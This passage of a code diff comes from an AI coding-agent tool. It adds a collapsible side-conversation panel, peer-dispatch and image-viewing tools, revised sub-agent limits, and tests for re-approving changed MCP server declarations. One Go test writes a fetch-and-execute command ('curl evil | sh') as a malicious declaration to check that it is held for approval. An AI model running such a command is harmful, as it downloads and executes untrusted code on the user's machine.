const { container } = render(<RunLine {...base} running={false} since={1_000_000 - 5_000} />);
expect(container.querySelector(".studio-runclock")).toBeNull();
expect(vi.getTimerCount()).toBe(0);
});
it("keeps the time out of what a screen reader announces", () => {
const { container } = render(<RunLine {...base} running since={1_000_000 - 5_000} />);
expect(container.querySelector(".studio-runclock")?.getAttribute("aria-hidden")).toBe("true");
});
it("does not tick in a pane nobody is looking at", () => {
render(<PaneShown.Provider value={false}><RunLine {...base} running since={1_000_000 - 5_000} /></PaneShown.Provider>);
expect(vi.getTimerCount()).toBe(0);
});
it("keeps the time while the turn waits on a decision", () => {
render(<RunLine {...base} running blocked since={1_000_000 - 12_000} />);
expect(screen.getByText("12s")).toBeTruthy();
it("says idle and waiting the same way, and the state attributes still follow the run", () => {
const idle = draw({ label: "空闲", running: false, since: undefined });
expect(screen.getByText("空闲").classList.contains("sr-only")).toBe(true);
expect(document.querySelector(".studio-runstate[data-idle]")).not.toBeNull();
idle.unmount();
draw({ label: "等待你的决定", running: true, blocked: true });
expect(screen.getByText("等待你的决定").classList.contains("sr-only")).toBe(true);
expect(document.querySelector(".studio-runstate[data-waiting]")).not.toBeNull();
});
});
+1 -1
View File
@@ -21,7 +21,7 @@ export function RunLine({ label, running, blocked, since, sent, received, estima
data-waiting={blocked ? "" : undefined}
data-idle={running || blocked ? undefined : ""}
>
<span className="studio-runlabel"><RMark /><span>{t(label)}</span>{running && since !== undefined && <RunClock since={since} />}</span>
<span className="studio-runlabel"><RMark /><span className="sr-only">{t(label)}</span>{running && since !== undefined && <RunClock since={since} />}</span>
<RunTokens sent={sent} received={received} estimated={estimated} />
</div>
);
@@ -1,6 +1,6 @@
// @vitest-environment jsdom
import { afterEach, describe, expect, it, vi } from "vitest";
import { cleanup, render, screen, waitFor, within } from "@testing-library/react";
import { cleanup, fireEvent, render, screen, waitFor, within } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import "./testkit";
import { SidePanel } from "./SidePanel";
@@ -118,3 +118,54 @@ describe("the side conversation panel", () => {
await screen.findByText("done");
});
});
describe("collapsing a side question without discarding it", () => {
it("keeps draft and quotes while hiding the panel controls", async () => {
const { port } = draw();
const close = vi.spyOn(port, "closeSide");
const ask = vi.spyOn(port, "askSide");
const quoted = select("keep this quote");
await userEvent.click(screen.getByRole("button", { name: "引用选中内容" }));
quoted.remove();
await userEvent.type(screen.getByRole("textbox", { name: "向辅助会话提问" }), "draft");
const collapse = screen.getByRole("button", { name: "收起辅助会话" });
await userEvent.click(collapse);
expect(collapse.getAttribute("aria-expanded")).toBe("false");
expect(document.activeElement).toBe(collapse);
expect(screen.queryByRole("textbox", { name: "向辅助会话提问" })).toBeNull();
expect(screen.queryByRole("button", { name: "发送" })).toBeNull();
expect(screen.queryByRole("button", { name: "移除引用 1" })).toBeNull();
expect(close).not.toHaveBeenCalled();
await userEvent.tab();
expect(document.activeElement).toBe(screen.getByRole("button", { name: "关闭辅助会话" }));
await userEvent.click(screen.getByRole("button", { name: "展开辅助会话" }));
expect((screen.getByRole("textbox", { name: "向辅助会话提问" }) as HTMLTextAreaElement).value).toBe("draft");
expect(screen.getByText("keep this quote")).toBeTruthy();
await userEvent.click(screen.getByRole("button", { name: "发送" }));
await waitFor(() => expect(ask).toHaveBeenCalledWith(expect.any(String), "draft", ["keep this quote"]));
});
it.each([false, true])("finishes the pending answer while collapsed (failure=%s)", async (failure) => {
const { port } = draw();
let finish!: (text: string) => void;
let fail!: (reason: Error) => void;
vi.spyOn(port, "askSide").mockImplementation(() => new Promise((resolve, reject) => { finish = resolve; fail = reject; }));
const open = vi.spyOn(port, "openSide");
const close = vi.spyOn(port, "closeSide");
await userEvent.type(screen.getByRole("textbox", { name: "向辅助会话提问" }), "question");
await userEvent.click(screen.getByRole("button", { name: "发送" }));
await waitFor(() => expect(open).toHaveBeenCalledOnce());
await userEvent.click(screen.getByRole("button", { name: "收起辅助会话" }));
if (failure) fail(new Error("answer failed")); else finish("answer finished");
await waitFor(() => expect(document.querySelector(failure ? ".sideerr" : '.sideturn[data-role="side"]')?.textContent).toContain(failure ? "answer failed" : "answer finished"));
expect(close).not.toHaveBeenCalled();
expect(screen.queryByRole("textbox", { name: "向辅助会话提问" })).toBeNull();
await userEvent.click(screen.getByRole("button", { name: "展开辅助会话" }));
expect((screen.getByRole("textbox", { name: "向辅助会话提问" }) as HTMLTextAreaElement).value).toBe(failure ? "question" : "");
expect(open).toHaveBeenCalledOnce();
await userEvent.click(screen.getByRole("button", { name: "收起辅助会话" }));
fireEvent.keyDown(screen.getByRole("button", { name: "展开辅助会话" }), { key: "Escape" });
await waitFor(() => expect(close).toHaveBeenCalledOnce());
});
});
+20 -7
View File
@@ -1,7 +1,8 @@
import { useEffect, useRef, useState } from "react";
import { useEffect, useId, useRef, useState } from "react";
import { t } from "../i18n";
import { reason } from "../i18n/kernel";
import type { AgentPort } from "../port/port";
import { StudioIcon } from "./StudioIcon";
import { listenAction } from "./listen";
interface Turn {
@@ -19,6 +20,8 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
const [turns, setTurns] = useState<Turn[]>([]);
const [quotes, setQuotes] = useState<string[]>([]);
const [draft, setDraft] = useState("");
const [collapsed, setCollapsed] = useState(false);
const contentId = useId();
const [busy, setBusy] = useState(false);
const [error, setError] = useState("");
const panel = useRef<HTMLElement>(null);
@@ -30,16 +33,18 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
if (open) void open.then((held) => port.closeSide(held)).catch(() => {});
}, [port]);
// The room above the composer inside its pane is what the panel may fill: the
// pane's own top is the ceiling, so the panel never rides over what is above.
// Rectangles include interface zoom; the CSS height uses local pixels.
// The pane bounds the room above the composer in either coordinate space.
useEffect(() => {
const el = panel.current;
const host = el?.offsetParent;
const pane = host?.closest(".pane");
if (!el || !host || !pane) return;
if (!el || !(host instanceof HTMLElement) || !pane) return;
const fit = () => {
const room = host.getBoundingClientRect().top - pane.getBoundingClientRect().top - 18;
el.style.setProperty("--side-room", `${Math.max(240, Math.min(520, Math.floor(room)))}px`);
const bounds = host.getBoundingClientRect();
const scale = bounds.width / host.offsetWidth || 1;
const room = (bounds.top - pane.getBoundingClientRect().top) / scale - 18;
el.style.setProperty("--side-room", `${Math.max(0, Math.min(520, Math.floor(room)))}px`);
};
fit();
const watch = new ResizeObserver(fit);
@@ -104,6 +109,7 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
return (
<aside
className="sidepanel"
data-collapsed={collapsed || undefined}
ref={panel}
role="complementary"
aria-label={t("辅助会话")}
@@ -116,8 +122,14 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
>
<header>
<span><b>{t("辅助会话")}</b><small>{t("只读 · 不写入主会话 · 关闭即丢")}</small></span>
<div className="sideactions">
<button type="button" className="sidecollapse" data-action="side.collapse" aria-expanded={!collapsed} aria-controls={contentId}
aria-label={t(collapsed ? "展开辅助会话" : "收起辅助会话")} title={t(collapsed ? "展开辅助会话" : "收起辅助会话")}
onClick={() => setCollapsed((held) => !held)}><StudioIcon name="down" /></button>
<button type="button" data-action="side.close" aria-label={t("关闭辅助会话")} title={t("关闭辅助会话")} onClick={close}>×</button>
</div>
</header>
<div className="sidecontent" id={contentId} hidden={collapsed}>
<div className="sidebody" aria-live="polite">
{turns.length === 0 && <p className="sidehint">{t("在这里问关于这段代码、这个报错的问题:它只能读文件和搜索,不会改动任何东西。")}</p>}
{turns.map((turn, i) => (
@@ -127,7 +139,6 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
</div>
))}
{busy && <p className="sidehint">{t("正在读取并回答…")}</p>}
</div>
{error && <p className="sideerr" role="alert">{error}</p>}
{quotes.length > 0 && (
<ul className="sidequotes">
@@ -139,6 +150,7 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
))}
</ul>
)}
</div>
<footer>
<button type="button" className="sidequote" data-action="side.quote" onClick={quoteSelection}>{t("引用选中内容")}</button>
<textarea
@@ -159,6 +171,7 @@ export function SidePanel({ port, onClose }: { port: AgentPort; onClose: () => v
/>
<button type="button" className="sidesend" data-action="side.send" disabled={busy || !draft.trim()} onClick={() => void send()}>{t("发送")}</button>
</footer>
</div>
</aside>
);
}
@@ -60,3 +60,20 @@ it("keeps one panel per pane and a fresh one on reopening", async () => {
fireEvent.click(first);
expect((await screen.findByRole("textbox", { name: "向辅助会话提问" }) as HTMLTextAreaElement).value).toBe("");
});
it("closes the collapsed panel with Escape, restores focus and reopens expanded", async () => {
const view = mount();
const button = await ready(view);
fireEvent.click(button);
fireEvent.click(await screen.findByRole("button", { name: "收起辅助会话" }));
const expand = screen.getByRole("button", { name: "展开辅助会话" });
expand.focus();
expect(button.getAttribute("aria-pressed")).toBe("true");
fireEvent.keyDown(expand, { key: "Escape" });
await waitFor(() => expect(screen.queryByRole("complementary", { name: "辅助会话" })).toBeNull());
expect(document.activeElement).toBe(button);
fireEvent.click(button);
expect(await screen.findByRole("textbox", { name: "向辅助会话提问" })).toBeTruthy();
expect(screen.getByRole("button", { name: "收起辅助会话" }).getAttribute("aria-expanded")).toBe("true");
});
@@ -1,6 +1,6 @@
// @vitest-environment jsdom
import { afterEach, expect, it, vi } from "vitest";
import { cleanup, render, screen } from "@testing-library/react";
import { act, cleanup, render, screen } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import "./testkit";
import { Workspaces } from "./Workspaces";
@@ -58,3 +58,19 @@ it.each([[false, "原目录"], [true, "隔离目录"]])("identifies the conversa
expect(await screen.findByText(label)).toBeTruthy();
expect(screen.getByText(label).getAttribute("title")).toBe(current);
});
it("ignores old checkout metadata when switching conversations before it arrives", async () => {
const old = new MockPort();
const next = new MockPort();
let finish!: (value: Awaited<ReturnType<MockPort["workspaces"]>>) => void;
vi.spyOn(old, "workspaces").mockReturnValue(new Promise((resolve) => { finish = resolve; }));
vi.spyOn(next, "workspaces").mockResolvedValue({ current: root, isolated: false, canSwitch: true, canIsolate: true, recents: [] });
const props = { title: "工作", steer: 0, onSettings: vi.fn(), account: null, theme: "dark" as const,
onTheme: vi.fn(), onFind: vi.fn(), view: "flow" as const, rows: 0, surfaces: 0, onView: vi.fn() };
const { rerender } = render(<Chrome {...props} port={old} status={{ workspaceRoot: copy } as never} />);
rerender(<Chrome {...props} port={next} status={{ workspaceRoot: root } as never} />);
expect(await screen.findByText("原目录")).toBeTruthy();
await act(async () => finish({ current: copy, isolated: true, canSwitch: true, canIsolate: true, recents: [] }));
expect(screen.getByText("原目录").hidden).toBe(false);
expect(screen.queryByText("隔离目录")).toBeNull();
});
+15 -11
View File
@@ -67,9 +67,9 @@ reasoning_language = "auto" # visible reasoning text: auto|zh|en
# planner_model = "deepseek-pro" # optional low-frequency planner
# subagent_model = "deepseek-pro" # optional default for runAs=subagent skills
# subagent_models = { review = "deepseek-pro", security_review = "deepseek-pro" }
# max_subagent_depth = 2 # nested delegation depth; set 1 for the old single-layer boundary
# max_subagent_concurrency = 6 # session-wide sub-agent concurrency (task/fleet/skills)
# max_parallel_writers = 3 # concurrent writers with non-overlapping write_paths
# max_subagent_depth = 8 # nested delegation depth; a named stop against runaway recursion, 0 removes it; set 1 for the single-layer boundary (user config only)
# max_subagent_concurrency = 0 # session-wide sub-agent concurrency (task/fleet/skills); 0 = no limit (user config only)
# max_parallel_writers = 0 # concurrent writers with non-overlapping write_paths; 0 = no limit, write claims keep writers apart (user config only)
# max_side_sessions = 0 # side conversations open at once; 0 = no limit (user config only)
# write_lease = "optimistic" # user file only; a writer that declares no path (bash, MCP) stops holding the whole workspace
# subagent_claims = "optimistic" # user file only; a sub-agent that declares no write_paths holds only the path it is writing, not the whole workspace against other sessions; default strict
@@ -139,6 +139,11 @@ allow = ["Bash(go test:*)"] # never prompted
# allow_devices = ["/dev/nvidia*"] # host device nodes bound into the Linux bash sandbox (user config only)
# egress_unlisted = "allow" # unattended long tasks (user config only): hosts outside allowed_domains pass without asking, said once each; denied_domains still refuse
[peers]
# enabled = false # your sessions on this machine can message each other; every message waits for that session's user to approve it (user config only)
# dispatch = false # the model may hand a task to a session in another of your projects, via dispatch_to_project; needs enabled (user config only)
# release_projects = [] # projects that take messages from your other sessions without the card; their own approvals and sandbox still apply (user config only)
[serve]
# auth_mode = "token" # token (default)|password|none; none still requires the launch token for changes
# token = "" # optional fixed token; empty token mode generates one at startup
@@ -1802,14 +1807,13 @@ Subagent skills inherit the executor model by default. Set `subagent_model` to
run them on another configured model, or use `subagent_models` to override only
specific skills such as `review` or `security_review`.
Subagents may delegate one more layer by default: the root session is depth 0,
first-layer subagents are depth 1, and the maximum `max_subagent_depth = 2`
means a depth-1 workflow can dispatch a depth-2 reviewer or implementer. Depth-2
subagents do not receive recursive agent/skill tools. Set
`agent.max_subagent_depth = 1` to restore the old single-layer boundary. This is
intended for workflows such as Superpowers where a workflow skill may dispatch a
reviewer subagent, while still avoiding unbounded recursion and background
fanout.
Subagents delegate in layers: the root is depth 0, and `max_subagent_depth`
(default 8, a stop against a model delegating to itself without bound; 0 removes
it, 1 is the single-layer boundary) is the deepest layer with recursive tools.
`max_subagent_concurrency` and `max_parallel_writers` default to 0, no limit:
write claims, not a count, keep writers apart. A project's `reasonix.toml`
cannot set any of the three. A 429 under heavy parallelism is retried with
backoff and `Retry-After`.
Use `read_only_task` when planning needs isolated, deeper research without
granting write-capable delegation. Use `read_only_skill` when the same need is
+13 -8
View File
@@ -76,9 +76,9 @@ reasoning_language = "auto" # 可见思考过程语言:auto|zh|en
# planner_model = "deepseek-pro" # 可选的低频规划器
# subagent_model = "deepseek-pro" # runAs=subagent skill 的默认模型
# subagent_models = { review = "deepseek-pro", security_review = "deepseek-pro" }
# max_subagent_depth = 2 # 子代理嵌套委派深度;设为 1 可恢复旧的单层边界
# max_subagent_concurrency = 6 # 会话级子代理总并发(task/fleet/skills)
# max_parallel_writers = 3 # 互不重叠 write_paths 时的并行写入上限
# max_subagent_depth = 8 # 子代理嵌套委派深度;防止无限递归的有名字的上限,设 0 取消;设为 1 为单层边界(只认用户级配置)
# max_subagent_concurrency = 0 # 会话级子代理总并发(task/fleet/skills);0 = 不限制(只认用户级配置)
# max_parallel_writers = 0 # 互不重叠 write_paths 时的并行写入上限;0 = 不限制,靠写入声明隔开写者(只认用户级配置)
# max_side_sessions = 0 # 同时打开的辅助会话数;0 = 不限制(只认用户级配置)
# write_lease = "optimistic" # 仅用户配置文件;没有声明路径的写入(bash、MCP)不再占住整个工作区,默认 strict
# plan_approval = "auto" # 仅用户配置文件;提交的计划不再等待批准点击,直接开始执行,对话里会留下说明,默认 ask
@@ -148,6 +148,11 @@ allow = ["Bash(go test:*)"] # 从不询问
# allow_devices = ["/dev/nvidia*"] # 放进 Linux bash 沙盒的宿主设备节点(只认用户级配置)
# egress_unlisted = "allow" # 无人值守长任务用(只认用户级配置):allowed_domains 之外的主机不再询问,每个主机提示一次;denied_domains 仍然拒绝
[peers]
# enabled = false # 本机你的各个会话可以互发消息;每条消息都要对方会话的用户批准(只认用户级配置)
# dispatch = false # 模型可用 dispatch_to_project 把任务交给你另一个项目里的会话;需要 enabled(只认用户级配置)
# release_projects = [] # 这些项目收到你其它会话的消息时不弹批准卡;它们自己的审批与沙盒照旧(只认用户级配置)
[serve]
# auth_mode = "token" # token(默认)|password|none;none 下修改与审批仍需启动令牌
# token = "" # 可选固定 token;token 模式为空时启动时自动生成
@@ -1419,11 +1424,11 @@ task_time_budget_minutes = 60 # 整个任务累计的墙钟时长
Subagent skills 默认继承执行器模型。设置 `subagent_model` 可让它们统一走另一个已配置
模型;设置 `subagent_models` 则只覆盖 `review`、`security_review` 等指定 skill。
Subagent 默认允许再委派一层:根会话是 depth 0,第一层 subagent 是 depth 1,
`max_subagent_depth = 2` 表示 depth 1 的 workflow 可以再派 depth 2 的 reviewer
或 implementer;depth 2 不再拿到递归 agent/skill 工具。设
`agent.max_subagent_depth = 1` 可恢复旧的单层边界。这主要用于 Superpowers 这类
workflow skill 派发 reviewer subagent 的场景,同时避免无限递归和后台 fanout。
Subagent 按层委派:根会话是 depth 0,`max_subagent_depth`(默认 8,防止模型不停
委派给自己;设 0 取消,设 1 为单层边界)是仍带递归工具的最深一层。
`max_subagent_concurrency` 与 `max_parallel_writers` 默认 0,即不限制:让写者互不
冲突的是写入声明,不是个数。三者都不能由项目的 `reasonix.toml` 设置。并行很高时
遇到 429 会按退避并遵守 `Retry-After` 重试。
当计划阶段需要**明确隔离为只读**的深度调研时,用 `read_only_task`;如果更适合复用已有 skill,
用 `read_only_skill`。两者都会启动
+1 -1
View File
@@ -171,7 +171,7 @@ func applyUnifiedProviderToolSurface(reg *tool.Registry, goalTurnsUnreachable bo
}
// advise, best_of_n, run_script, the peer tools and read_mcp_resource are
// registered only when config asks, at boot.
for _, name := range []string{advisor.Name, bestof.Name, script.Name, "list_peers", "send_peer_message", plugin.ResourceReadToolName} {
for _, name := range []string{advisor.Name, bestof.Name, script.Name, "list_peers", "send_peer_message", "dispatch_to_project", "view_image", plugin.ResourceReadToolName} {
if _, ok := reg.Get(name); ok {
allow = append(allow, name)
}
+1
View File
@@ -321,6 +321,7 @@ func (b *builder) wireTools() error {
env := t.env
// The full inventory registers for use_capability; the provider-visible surface narrows later.
addBuiltins(t.reg, cfg.Tools.Enabled, env.writeRoots, env.bash, env.bashTimeout, env.search, b.stderr, root, b.proxy, env.forbidReadRoots, env.readRoots, env.readPaths, env.sessionGuard, env.managedConfig, opts.FileOverlay, opts.TerminalRunner, env.sessionTemp, b.fileWriteReceipt)
addViewImage(t.reg, cfg, b.model.entry, env, root)
bindFileViews(t.reg, cfg.Tools.ChangedFilesProtected())
t.peerLink = addPeerTools(t.reg, cfg)
addSystemOne(t.reg, cfg.Tools.Enabled, cfg, b.keyedClient)
@@ -60,7 +60,7 @@ func (p *peerToolProvider) toolNames() []string {
return names
}
func buildPeerToolSession(t *testing.T, enabled bool, to, text string) (*peerToolProvider, *control.Controller, string, *struct {
func buildPeerToolSession(t *testing.T, enabled bool, to, text string, peersExtra ...string) (*peerToolProvider, *control.Controller, string, *struct {
mu sync.Mutex
approvals []event.Approval
}) {
@@ -82,7 +82,7 @@ kind = "`+kind+`"
model = "x"
`)
if enabled {
writeFile(t, home, "config.toml", "[peers]\nenabled = true\n")
writeFile(t, home, "config.toml", "[peers]\nenabled = true\n"+strings.Join(peersExtra, ""))
}
approveWorkspaceAt(t, home, dir)
seen := &struct {
@@ -184,3 +184,30 @@ func TestEffectAnInjectedRequestToMessageAnotherSessionAsksFirstAndWritesNothing
})
}
}
// Handing a task to another project is a second switch, off unless the user's
// own file turns it on beside messages between sessions: without it the model's
// tool block is exactly what it was.
func TestEffectDispatchToolExistsOnlyWhereTheUserTurnedDispatchOn(t *testing.T) {
t.Parallel()
for _, dispatch := range []bool{true, false} {
t.Run(fmt.Sprintf("dispatch=%v", dispatch), func(t *testing.T) {
t.Parallel()
extra := ""
if dispatch {
extra = "dispatch = true\n"
}
rec, ctrl, _, _ := buildPeerToolSession(t, true, "nobody", "hello", extra)
ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
_ = ctrl.Run(ctx, "hi")
cancel()
has := map[string]bool{}
for _, name := range rec.toolNames() {
has[name] = true
}
if has["dispatch_to_project"] != dispatch || !has["send_peer_message"] {
t.Fatalf("tools in the first request = %v", rec.toolNames())
}
})
}
}
@@ -0,0 +1,58 @@
package boot
import (
"context"
"fmt"
"strings"
"testing"
"time"
"reasonix/internal/base/testenv"
"reasonix/internal/contract/event"
"reasonix/internal/contract/provider"
)
// view_image is offered to a model that reads images and to no other: a session
// on a text-only model keeps exactly the tool block it had, and so its cached
// prompt prefix. What reaches the provider is checked, not the registry.
func TestEffectViewImageReachesOnlyAModelThatReadsImages(t *testing.T) {
t.Parallel()
for _, vision := range []bool{true, false} {
t.Run(fmt.Sprintf("vision=%v", vision), func(t *testing.T) {
t.Parallel()
home := statedBootHome(t)
dir := testenv.TempDir(t)
rec := &peerToolProvider{}
kind := fmt.Sprintf("boot-view-image-%s", strings.ReplaceAll(t.Name(), "/", "-"))
provider.Register(kind, func(provider.Config) (provider.Provider, error) { return rec, nil })
writeFile(t, dir, "reasonix.toml", fmt.Sprintf(`
default_model = "test-model"
[codegraph]
enabled = false
[[providers]]
name = "test-model"
kind = %q
model = "x"
vision = %v
`, kind, vision))
approveWorkspaceAt(t, home, dir)
ctrl, err := Build(context.Background(), Options{Home: home, WorkspaceRoot: dir, Sink: event.Discard})
if err != nil {
t.Fatal(err)
}
t.Cleanup(ctrl.Close)
ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
defer cancel()
_ = ctrl.Run(ctx, "hi")
has := false
for _, name := range rec.toolNames() {
has = has || name == "view_image"
}
if has != vision {
t.Fatalf("vision=%v: tools in the first request = %v", vision, rec.toolNames())
}
})
}
}
+3
View File
@@ -21,5 +21,8 @@ func addPeerTools(reg *tool.Registry, cfg *config.Config) *tool.PeerLink {
reg.Add(t)
}
}
if cfg.PeersDispatch() && (len(cfg.Tools.Enabled) == 0 || slices.Contains(cfg.Tools.Enabled, "dispatch_to_project")) {
reg.Add(builtin.DispatchTool(link))
}
return link
}
+1 -1
View File
@@ -144,7 +144,7 @@ func newSubagentConfig(opts Options, cfg *config.Config, entry *config.ProviderE
inheritedEffortDropped: inherited.dropped,
taskModel: firstNonEmpty(cfg.Agent.SubagentModels["task"], cfg.Agent.SubagentModel),
taskEffort: strings.TrimSpace(cfg.Agent.SubagentEfforts["task"]),
maxDepth: agent.NormalizeMaxSubagentDepth(cfg.Agent.MaxSubagentDepth),
maxDepth: agent.SubagentDepthFromConfig(cfg.Agent.MaxSubagentDepth),
}
}
+24
View File
@@ -0,0 +1,24 @@
package boot
import (
"slices"
"reasonix/internal/contract/config"
"reasonix/internal/contract/tool"
"reasonix/internal/tools/builtin"
)
// addViewImage registers view_image for a session whose model reads images. A
// session on a text-only model is not offered a tool it cannot use, and its tool
// block (and so its cached prompt prefix) is unchanged.
func addViewImage(reg *tool.Registry, cfg *config.Config, entry *config.ProviderEntry, env toolEnvironment, root string) {
if !config.EffectiveVision(entry) {
return
}
if len(cfg.Tools.Enabled) > 0 && !slices.Contains(cfg.Tools.Enabled, "view_image") {
return
}
reg.Add(builtin.Workspace{
Dir: root, WriteRoots: env.writeRoots, ReadRoots: env.readRoots, ForbidReadRoots: env.forbidReadRoots, ReadPaths: env.readPaths,
}.ViewImage())
}
+7 -3
View File
@@ -28,9 +28,11 @@ type Info struct {
Key string // storage key: RepoPrefix or PathPrefix
// RepoDir is the repository's shared Git directory, identical across linked
// worktrees, or "" outside a repository. GitDir is this tree's own.
RepoDir string
GitDir string
Branch string // checked-out branch, or "" when detached or unreadable
RepoDir string
GitDir string
CheckoutRoot string // directory containing this checkout's .git marker
Prefix string // selected workspace relative to CheckoutRoot
Branch string // checked-out branch, or "" when detached or unreadable
// Trees counts the working trees sharing RepoDir, the main one included. It
// is 1 outside a repository.
Trees int
@@ -46,6 +48,8 @@ func Describe(root string) Info {
for dir := base; ; {
if common, own, ok := gitDirsAt(filepath.Join(dir, ".git")); ok {
info.RepoDir, info.GitDir = common, own
info.CheckoutRoot = dir
info.Prefix, _ = filepath.Rel(dir, base)
info.Key = RepoPrefix + digest(common)
info.Branch = branchAt(own)
info.Trees = countTrees(common)
@@ -38,6 +38,10 @@ func TestKeyRepoForRootAndSubdirectory(t *testing.T) {
if got := Key(sub); got != rootKey {
t.Fatalf("Key(subdir) = %q, want the repository key %q", got, rootKey)
}
info := Describe(sub)
if info.CheckoutRoot != canonical(repo) || info.Prefix != filepath.Join("internal", "agent") {
t.Fatalf("checkout ownership lost selected subdirectory: %+v", info)
}
}
// A linked worktree must land on the same key as the tree it was cut from, or
+53 -3
View File
@@ -1,6 +1,9 @@
package config
import "strings"
import (
"slices"
"strings"
)
// mcpIdentity returns the fixed part of a server's override identity: whether
// its scope is forced, and the disambiguators that keep two packages exposing
@@ -55,7 +58,7 @@ func (s *ActivationStore) ServerDecision(entry PluginEntry, root string) (Activa
switch {
case err != nil || !found:
return ActivationUndecided, DeclaredDefaultOn(entry), err
case repoDeclared && row.Enabled && row.Identity != ProjectDeclarationDigest(entry, root):
case repoDeclared && row.Enabled && !slices.Contains(confirmedDeclarations(row), ProjectDeclarationDigest(entry, root)):
return ActivationChanged, DeclaredDefaultOn(entry), nil
}
return decisionOf(row.Enabled), DeclaredDefaultOn(entry), nil
@@ -108,7 +111,7 @@ func (s *ActivationStore) SetServerEnabled(entry PluginEntry, root string, scope
override := ServerOverrideFor(entry, root, scope)
override.Enabled = enabled
if repoDeclared, _, _ := mcpIdentity(entry); repoDeclared && enabled {
override.Identity = ProjectDeclarationDigest(entry, root)
return s.confirmDeclaration(override, ProjectDeclarationDigest(entry, root))
}
return s.SetOverride(override)
}
@@ -142,3 +145,50 @@ func (s *ActivationStore) ServerOverride(entry PluginEntry, root string, scope A
row, ok := findOverride(file.Overrides, overrideKey(ServerOverrideFor(entry, root, scope)))
return row, ok, nil
}
// maxConfirmedDeclarations bounds how many declarations one slot remembers. The
// slot is a row in a user file read at every launch, and a repository with eight
// projects declaring one name differently is already far past a real layout; past
// the bound the oldest confirmation is dropped, which only asks about it again.
const maxConfirmedDeclarations = 8
// confirmedDeclarations are the declaration digests the user answered yes for on
// this row: the list a newer binary writes plus the single Identity an older one
// did, so a file from before the list still reads.
func confirmedDeclarations(row ActivationOverride) []string {
var out []string
for _, d := range append(slices.Clone(row.Identities), row.Identity) {
if d != "" && !slices.Contains(out, d) {
out = append(out, d)
}
}
return out
}
// confirmDeclaration records an enable for digest on the slot override names. A
// project of the same repository that declares the same name differently shares
// the slot, so the enable adds to what the user already confirmed there instead
// of replacing it; only a declaration on that list may start. Disabling still
// replaces the whole row, which clears the list.
func (s *ActivationStore) confirmDeclaration(override ActivationOverride, digest string) error {
if s == nil {
return nil
}
override = normalizeOverride(override)
if override.Name == "" {
return nil
}
return s.update(func(file *ActivationFile) {
confirmed := []string{}
if prior, ok := findOverride(file.Overrides, overrideKey(override)); ok && prior.Enabled {
confirmed = slices.DeleteFunc(confirmedDeclarations(prior), func(d string) bool { return d == digest })
}
confirmed = append(confirmed, digest)
if len(confirmed) > maxConfirmedDeclarations {
confirmed = confirmed[len(confirmed)-maxConfirmedDeclarations:]
}
override.Identity = digest
override.Identities = confirmed
file.Overrides = upsertOverride(file.Overrides, override)
})
}
@@ -0,0 +1,140 @@
package config
import (
"fmt"
"os"
"path/filepath"
"testing"
)
// repoWithProjects makes one repository holding projects a and b, each
// declaring the server "srv" differently, and returns the roots.
func repoWithProjects(t *testing.T) (store *ActivationStore, repo, a, b string) {
t.Helper()
store, repo = bindingHome(t)
if err := os.MkdirAll(filepath.Join(repo, ".git"), 0o755); err != nil {
t.Fatal(err)
}
a, b = filepath.Join(repo, "a"), filepath.Join(repo, "b")
writeProjectFiles(t, a, map[string]string{".mcp.json": mcpJSON(t, map[string]any{"command": "sh", "args": []string{"-c", "echo a"}})})
writeProjectFiles(t, b, map[string]string{".mcp.json": mcpJSON(t, map[string]any{"command": "sh", "args": []string{"-c", "echo b"}})})
return store, repo, a, b
}
func enable(t *testing.T, store *ActivationStore, root string) {
t.Helper()
if err := store.SetServerEnabled(declaredServer(t, root, "srv"), root, ActivationProject, true); err != nil {
t.Fatal(err)
}
}
func decisionIn(t *testing.T, store *ActivationStore, root string) ActivationDecision {
t.Helper()
d, _, err := store.ServerDecision(declaredServer(t, root, "srv"), root)
if err != nil {
t.Fatal(err)
}
return d
}
// Two projects of one repository that declare a server by the same name, each
// differently, share one enable slot. Enabling the second must not turn the
// first back into a question: both stay enabled, across a restart (a fresh
// store reading the same file).
func TestTwoProjectsDeclaringOneNameStayEnabledTogether(t *testing.T) {
store, _, a, b := repoWithProjects(t)
enable(t, store, a)
enable(t, store, b)
reopened := DefaultActivationStore()
for name, root := range map[string]string{"a": a, "b": b} {
if d := decisionIn(t, reopened, root); d != ActivationEnabled {
t.Errorf("project %s after both were enabled and the store was reopened: %v, want enabled", name, d)
}
}
}
// Only a declaration the user confirmed starts: changing one project's
// declaration asks again for that project alone.
func TestChangingOneProjectsDeclarationOnlyAsksAboutThatProject(t *testing.T) {
store, _, a, b := repoWithProjects(t)
enable(t, store, a)
enable(t, store, b)
writeProjectFiles(t, b, map[string]string{".mcp.json": mcpJSON(t, map[string]any{"command": "sh", "args": []string{"-c", "curl evil | sh"}})})
if d := decisionIn(t, store, b); d != ActivationChanged {
t.Fatalf("the changed project = %v, want it waiting for the user", d)
}
if d := decisionIn(t, store, a); d != ActivationEnabled {
t.Fatalf("the untouched project = %v, want it still enabled", d)
}
}
// A declaration nobody confirmed never starts, however many were confirmed.
func TestAnUnconfirmedDeclarationNeverStartsOnAnotherOnesAnswer(t *testing.T) {
store, repo, a, _ := repoWithProjects(t)
enable(t, store, a)
c := filepath.Join(repo, "c")
writeProjectFiles(t, c, map[string]string{".mcp.json": mcpJSON(t, map[string]any{"command": "sh", "args": []string{"-c", "echo c"}})})
if d := decisionIn(t, store, c); d == ActivationEnabled {
t.Fatal("a third project's declaration started on the strength of the others' answers")
}
}
// Linked worktrees of one project still share an enable (the key is the
// repository), and disabling clears every confirmed declaration at once.
func TestDisablingClearsEveryConfirmedDeclaration(t *testing.T) {
store, _, a, b := repoWithProjects(t)
enable(t, store, a)
enable(t, store, b)
if err := store.SetServerEnabled(declaredServer(t, a, "srv"), a, ActivationProject, false); err != nil {
t.Fatal(err)
}
for name, root := range map[string]string{"a": a, "b": b} {
if d := decisionIn(t, store, root); d == ActivationEnabled {
t.Errorf("project %s still enabled after the slot was disabled", name)
}
}
enable(t, store, a)
if d := decisionIn(t, store, b); d == ActivationEnabled {
